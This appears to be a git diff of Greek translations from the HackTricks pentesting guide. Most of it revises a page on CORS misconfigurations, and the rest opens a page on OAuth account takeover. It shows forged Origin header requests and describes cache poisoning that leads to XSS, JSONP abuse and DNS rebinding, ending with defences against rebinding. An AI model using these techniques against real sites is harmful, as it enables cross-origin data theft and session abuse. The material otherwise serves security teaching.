Origin: https://target.application_.arbitrary.com
|
||||
```
|
||||
|
||||
```
|
||||
HTTP/2 200 OK
|
||||
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
Safari είναι ακόμη πιο επιεικής στην αποδοχή ειδικών χαρακτήρων στο όνομα τομέα:
|
||||
```
|
||||
GET / HTTP/2
|
||||
Cookie: <session_cookie>
|
||||
Origin: https://target.application}.arbitrary.com
|
||||
```
|
||||
|
||||
```
|
||||
HTTP/2 200 OK
|
||||
Cookie: <session_cookie>
|
||||
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Server-side cache poisoning**
|
||||
|
||||
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Είναι πιθανό ότι εκμεταλλευόμενοι τη δηλητηρίαση cache από την πλευρά του διακομιστή μέσω έγχυσης HTTP header, μπορεί να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να καθαρίσει το header `Origin` από παράνομες χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή HTTP header, οδηγώντας σε ευπάθειες έγχυσης HTTP header.
|
||||
Είναι πιθανό ότι εκμεταλλευόμενοι την δηλητηρίαση της cache από τον server μέσω της έγχυσης HTTP headers, μπορεί να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να καθαρίσει το header `Origin` από παράνομες χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έναν νόμιμο τερματιστή HTTP header, οδηγώντας σε ευπάθειες έγχυσης HTTP headers.
|
||||
|
||||
Σκεφτείτε το παρακάτω αίτημα όπου το header `Origin` είναι παραποιημένο:
|
||||
```
|
||||
|
@ -230,21 +268,21 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με την αποστολή ενός κακοδιαμορφωμένου κεφαλίδας από έναν φυλλομετρητή ιστού δεν είναι εφικτή, ένα κατασκευασμένο αίτημα μπορεί να παραχθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε μια προσωρινή αποθήκευση στον διακομιστή που αποθηκεύει την απόκριση και ακούσια να την εξυπηρετεί σε άλλους. Ο κατασκευασμένος φορτίο στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, μια κωδικοποίηση χαρακτήρων που συχνά σχετίζεται με ευπάθειες XSS λόγω της ικανότητάς της να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελείται ως σενάριο σε ορισμένα συμφραζόμενα.
|
||||
Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με την αποστολή ενός κακοδιαμορφωμένου κεφαλίδας από έναν φυλλομετρητή ιστού δεν είναι εφικτή, ένα κατασκευασμένο αίτημα μπορεί να παραχθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε μια προσωρινή αποθήκευση από τον διακομιστή που αποθηκεύει την απόκριση και ακούσια να την εξυπηρετεί σε άλλους. Ο κατασκευασμένος φορτίο στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, μια κωδικοποίηση χαρακτήρων που συχνά σχετίζεται με ευπάθειες XSS λόγω της ικανότητάς της να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελείται ως σενάριο σε ορισμένα συμφραζόμενα.
|
||||
|
||||
Για περαιτέρω ανάγνωση σχετικά με τις αποθηκευμένες ευπάθειες XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Σημείωση**: Η εκμετάλλευση ευπαθειών έγχυσης κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης προσωρινής μνήμης στον διακομιστή, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των εισερχόμενων δεδομένων από τους χρήστες, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιείτε πάντα ένα ισχυρό μοντέλο ασφάλειας που περιλαμβάνει επικύρωση εισόδου για την αποφυγή τέτοιων ευπαθειών.
|
||||
**Σημείωση**: Η εκμετάλλευση ευπαθειών έγχυσης κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης προσωρινής αποθήκευσης από τον διακομιστή, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των εισροών που παρέχονται από τον χρήστη, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιείτε πάντα ένα ισχυρό μοντέλο ασφάλειας που περιλαμβάνει επικύρωση εισροών για την αποφυγή τέτοιων ευπαθειών.
|
||||
|
||||
### **Δηλητηρίαση προσωρινής μνήμης πλευράς πελάτη**
|
||||
### **Δηλητηρίαση προσωρινής αποθήκευσης πελάτη**
|
||||
|
||||
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που ανακλά το περιεχόμενο μιας προσαρμοσμένης κεφαλίδας HTTP χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα ανακλά το περιεχόμενο που περιλαμβάνεται σε μια κεφαλίδα `X-User-id`, η οποία θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως αποδεικνύεται από το παράδειγμα όπου η κεφαλίδα περιέχει μια ετικέτα SVG σχεδιασμένη να εκτελεί κώδικα JavaScript κατά την φόρτωση.
|
||||
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που ανακλά το περιεχόμενο μιας προσαρμοσμένης κεφαλίδας HTTP χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα ανακλά το περιεχόμενο που περιλαμβάνεται σε μια κεφαλίδα `X-User-id`, η οποία θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως αποδεικνύεται από το παράδειγμα όπου η κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελεί κώδικα JavaScript κατά την φόρτωση.
|
||||
|
||||
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς η απόκριση να αποδίδεται άμεσα από τον φυλλομετρητή λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά της προσωρινής μνήμης του φυλλομετρητή. Εάν η κεφαλίδα `Vary: Origin` δεν καθορίζεται, καθίσταται δυνατή η προσωρινή αποθήκευση της κακόβουλης απόκρισης από τον φυλλομετρητή. Στη συνέχεια, αυτή η προσωρινά αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί άμεσα κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για άμεση απόδοση κατά την αρχική αίτηση. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την προσωρινή μνήμη πλευράς πελάτη.
|
||||
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς η απόκριση να αποδίδεται άμεσα από τον φυλλομετρητή λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά της προσωρινής αποθήκευσης του φυλλομετρητή. Εάν η κεφαλίδα `Vary: Origin` δεν καθορίζεται, καθίσταται δυνατή η προσωρινή αποθήκευση της κακόβουλης απόκρισης από τον φυλλομετρητή. Στη συνέχεια, αυτή η προσωρινά αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί άμεσα κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για άμεση απόδοση κατά την αρχική αίτηση. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την προσωρινή αποθήκευση από τον πελάτη.
|
||||
|
||||
Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελείται στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε μια καθορισμένη διεύθυνση URL με μια προσαρμοσμένη κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στη στοχευμένη διεύθυνση URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εγχυμένου σεναρίου εάν η απόκριση έχει αποθηκευτεί στην προσωρινή μνήμη χωρίς σωστή διαχείριση της κεφαλίδας `Vary: Origin`.
|
||||
Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελείται στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε μια καθορισμένη διεύθυνση URL με μια προσαρμοσμένη κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στη στοχευμένη διεύθυνση URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εγχυμένου σεναρίου εάν η απόκριση έχει αποθηκευτεί προσωρινά χωρίς σωστή διαχείριση της κεφαλίδας `Vary: Origin`.
|
||||
|
||||
Ακολουθεί μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:
|
||||
```html
|
||||
|
@ -262,15 +300,15 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Πολιτική Ίδιων Προελεύσεων (SOP) δεν ισχύει όταν περιλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα σενάρια πρέπει να μπορούν να περιλαμβάνονται από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο έχει συμπεριληφθεί χρησιμοποιώντας την ετικέτα script.
|
||||
XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Πολιτική Ίδιων Προελεύσεων (SOP) δεν εφαρμόζεται κατά την συμπερίληψη πόρων χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα σενάρια πρέπει να μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο έχει συμπεριληφθεί χρησιμοποιώντας την ετικέτα script.
|
||||
|
||||
Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες ambient-authority όπως τα cookies για την αυθεντικοποίηση. Όταν ζητείται ένας πόρος από έναν διαφορετικό host, τα cookies περιλαμβάνονται, καθιστώντας τα προσβάσιμα στον επιτιθέμενο.
|
||||
|
||||
Για να κατανοήσετε καλύτερα και να μετριάσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το plugin BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το plugin μπορεί να βοηθήσει στην αναγνώριση και την αντιμετώπιση πιθανών ευπαθειών XSSI στις διαδικτυακές σας εφαρμογές.
|
||||
Για να κατανοήσετε καλύτερα και να μετριάσετε αυτή την ευπάθεια, μπορείτε να χρησιμοποιήσετε το plugin BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το plugin μπορεί να βοηθήσει στην αναγνώριση και την αντιμετώπιση πιθανών ευπαθειών XSSI στις διαδικτυακές σας εφαρμογές.
|
||||
|
||||
[**Διαβάστε περισσότερα για τους διαφορετικούς τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Δοκιμάστε να προσθέσετε μια **`callback`** **παράμετρο** στο αίτημα. Ίσως η σελίδα να έχει προετοιμαστεί για να στείλει τα δεδομένα ως JSONP. Σε αυτή την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με `Content-Type: application/javascript`, το οποίο θα παρακάμψει την πολιτική CORS.
|
||||
Δοκιμάστε να προσθέσετε μια **`callback`** **παράμετρο** στο αίτημα. Ίσως η σελίδα να έχει προετοιμαστεί να στείλει τα δεδομένα ως JSONP. Σε αυτή την περίπτωση, η σελίδα θα στείλει πίσω τα δεδομένα με `Content-Type: application/javascript`, το οποίο θα παρακάμψει την πολιτική CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
|
@ -283,7 +321,7 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
|
||||
### Iframe + Popup Bypass
|
||||
|
||||
Μπορείτε να **παρακάμψετε τους ελέγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα **iframe** και **από αυτό να ανοίξετε ένα νέο παράθυρο**. Περισσότερες πληροφορίες στη σελίδα που ακολουθεί:
|
||||
Μπορείτε να **παρακάμψετε τους ελέγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα **iframe** και **από αυτό να ανοίξετε ένα νέο παράθυρο**. Περισσότερες πληροφορίες στη παρακάτω σελίδα:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -297,15 +335,15 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
2. Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του domain ώστε να δείχνει στη διαδικτυακή σελίδα του θύματος.
|
||||
3. Ο περιηγητής του θύματος αποθηκεύει την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδεικνύει πόσο καιρό θα πρέπει να θεωρείται έγκυρο το DNS record.
|
||||
4. Όταν λήξει το TTL, ο περιηγητής του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
|
||||
5. Διατηρώντας τον έλεγχο της IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στείλει κανένα cookie στον server του θύματος.
|
||||
5. Διατηρώντας τον έλεγχο της IP του θύματος, ο επιτιθέμενος μπορεί να συλλέξει πληροφορίες από το θύμα χωρίς να στείλει κανένα cookie στον server του θύματος.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι οι περιηγητές διαθέτουν μηχανισμούς caching που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
|
||||
Είναι σημαντικό να σημειωθεί ότι οι περιηγητές έχουν μηχανισμούς caching που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
|
||||
|
||||
Η επανασύνδεση DNS μπορεί να είναι χρήσιμη για την παράκαμψη ρητών ελέγχων IP που εκτελούνται από το θύμα ή για σενάρια όπου ένας χρήστης ή bot παραμένει στην ίδια σελίδα για παρατεταμένο χρονικό διάστημα, επιτρέποντας την λήξη της cache.
|
||||
|
||||
Αν χρειάζεστε έναν γρήγορο τρόπο για να καταχραστείτε την επανασύνδεση DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Για να εκτελέσετε τον δικό σας server επανασύνδεσης DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτό (π.χ., ns.example.com) και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργηθέν A subdomain (π.χ., ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί από τον host σας.
|
||||
Για να εκτελέσετε τον δικό σας server επανασύνδεσης DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτή (π.χ., ns.example.com), και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργηθέν A subdomain (π.χ., ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί από τον host σας.
|
||||
|
||||
Μπορείτε επίσης να εξερευνήσετε έναν δημόσια λειτουργούντα server στο [http://rebind.it/singularity.html](http://rebind.it/singularity.html) για περαιτέρω κατανόηση και πειραματισμό.
|
||||
|
||||
|
@ -314,10 +352,10 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
Η επανασύνδεση DNS μέσω πλημμύρας cache DNS είναι μια άλλη τεχνική που χρησιμοποιείται για να παρακάμψει τον μηχανισμό caching των περιηγητών και να αναγκάσει ένα δεύτερο αίτημα DNS. Να πώς λειτουργεί:
|
||||
|
||||
1. Αρχικά, όταν το θύμα κάνει ένα αίτημα DNS, απαντάται με τη διεύθυνση IP του επιτιθέμενου.
|
||||
2. Για να παρακάμψει την άμυνα caching, ο επιτιθέμενος εκμεταλλεύεται έναν service worker. Ο service worker πλημμυρίζει την cache DNS, η οποία διαγράφει αποτελεσματικά το αποθηκευμένο όνομα server του επιτιθέμενου.
|
||||
2. Για να παρακάμψει την άμυνα caching, ο επιτιθέμενος εκμεταλλεύεται έναν service worker. Ο service worker πλημμυρίζει την cache DNS, η οποία διαγράφει αποτελεσματικά το cached όνομα server του επιτιθέμενου.
|
||||
3. Όταν ο περιηγητής του θύματος κάνει ένα δεύτερο αίτημα DNS, απαντάται τώρα με τη διεύθυνση IP 127.0.0.1, η οποία αναφέρεται συνήθως στο localhost.
|
||||
|
||||
Πλημμυρίζοντας την cache DNS με τον service worker, ο επιτιθέμενος μπορεί να χειραγωγήσει τη διαδικασία επίλυσης DNS και να αναγκάσει τον περιηγητή του θύματος να κάνει ένα δεύτερο αίτημα, αυτή τη φορά επιλύοντας στη διεύθυνση IP που επιθυμεί ο επιτιθέμενος.
|
||||
Με την πλημμύρα της cache DNS μέσω του service worker, ο επιτιθέμενος μπορεί να χειραγωγήσει τη διαδικασία επίλυσης DNS και να αναγκάσει τον περιηγητή του θύματος να κάνει ένα δεύτερο αίτημα, αυτή τη φορά επιλύοντας στη διεύθυνση IP που επιθυμεί ο επιτιθέμενος.
|
||||
|
||||
### DNS Rebinding via **Cache**
|
||||
|
||||
|
@ -327,10 +365,10 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
2. Όταν ένας περιηγητής ελέγχει για αυτά τα records, λαμβάνει και τις δύο διευθύνσεις IP.
|
||||
3. Αν ο περιηγητής αποφασίσει να χρησιμοποιήσει πρώτα τη διεύθυνση IP του επιτιθέμενου, ο επιτιθέμενος μπορεί να εξυπηρετήσει ένα payload που εκτελεί HTTP αιτήματα στο ίδιο domain.
|
||||
4. Ωστόσο, μόλις ο επιτιθέμενος αποκτήσει τη διεύθυνση IP του θύματος, σταματά να απαντά στον περιηγητή του θύματος.
|
||||
5. Ο περιηγητής του θύματος, συνειδητοποιώντας ότι το domain δεν απαντά, προχωρά στη χρήση της δεύτερης διευθυνσης IP που δόθηκε.
|
||||
6. Με την πρόσβαση στη δεύτερη διεύθυνση IP, ο περιηγητής παρακάμπτει την Πολιτική Ίδιων Προελεύσεων (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτό και να συγκεντρώσει και να εξάγει πληροφορίες.
|
||||
5. Ο περιηγητής του θύματος, συνειδητοποιώντας ότι το domain δεν απαντά, προχωρά στη χρήση της δεύτερης δοθείσας διεύθυνσης IP.
|
||||
6. Με την πρόσβαση στη δεύτερη διεύθυνση IP, ο περιηγητής παρακάμπτει την Πολιτική Ίδιων Προελεύσεων (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτό και να συλλέξει και να εξάγει πληροφορίες.
|
||||
|
||||
Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των περιηγητών όταν παρέχονται πολλαπλές διευθύνσεις IP για ένα domain. Ελέγχοντας στρατηγικά τις απαντήσεις και χειραγωγώντας την επιλογή διεύθυνσης IP του περιηγητή, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την SOP και να αποκτήσει πρόσβαση σε πληροφορίες από το θύμα.
|
||||
Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των περιηγητών όταν παρέχονται πολλαπλές διευθύνσεις IP για ένα domain. Με στρατηγικό έλεγχο των απαντήσεων και χειραγώγηση της επιλογής διεύθυνσης IP του περιηγητή, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την SOP και να αποκτήσει πρόσβαση σε πληροφορίες από το θύμα.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Σημειώστε ότι για να αποκτήσετε πρόσβαση στο localhost θα πρέπει να προσπαθήσετε να επανασυνδέσετε **127.0.0.1** στα Windows και **0.0.0.0** σε Linux.\
|
||||
|
@ -351,14 +389,14 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
|
||||
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το παρακάτω εργαλείο στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS name του server επίθεσης στη διεύθυνση IP της στοχευόμενης μηχανής και να εξυπηρετήσει payloads επίθεσης για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευόμενη μηχανή.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS name του server επίθεσης στη διεύθυνση IP της στοχευμένης μηχανής και να εξυπηρετήσει payloads επίθεσης για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή.
|
||||
|
||||
### Real Protection against DNS Rebinding
|
||||
|
||||
* Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
|
||||
* Ζητήστε αυθεντικοποίηση για την πρόσβαση σε δεδομένα
|
||||
* Ζητήστε αυθεντικοποίηση για πρόσβαση σε δεδομένα
|
||||
* Επικυρώστε την κεφαλίδα Host
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για την αποστολή ενός προ-αίτηματος όταν οι δημόσιοι servers θέλουν να έχουν πρόσβαση σε εσωτερικούς servers
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για πάντα να στέλνετε ένα προ-αίτημα όταν οι δημόσιοι servers θέλουν να έχουν πρόσβαση σε εσωτερικούς servers
|
||||
|
||||
## **Tools**
|
||||
|
||||
|
@ -388,8 +426,8 @@ XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# OAuth to Account takeover
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -21,33 +21,33 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Basic Information <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [τεκμηρίωση OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [τύπο χορήγησης κωδικού εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (τον εξουσιοδοτημένο διακομιστή).
|
||||
Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [τεκμηρίωση OAuth 2.0](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [τύπο χορήγησης κωδικού εξουσιοδότησης OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (ο εξουσιοδοτικός διακομιστής).
|
||||
|
||||
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
|
||||
|
||||
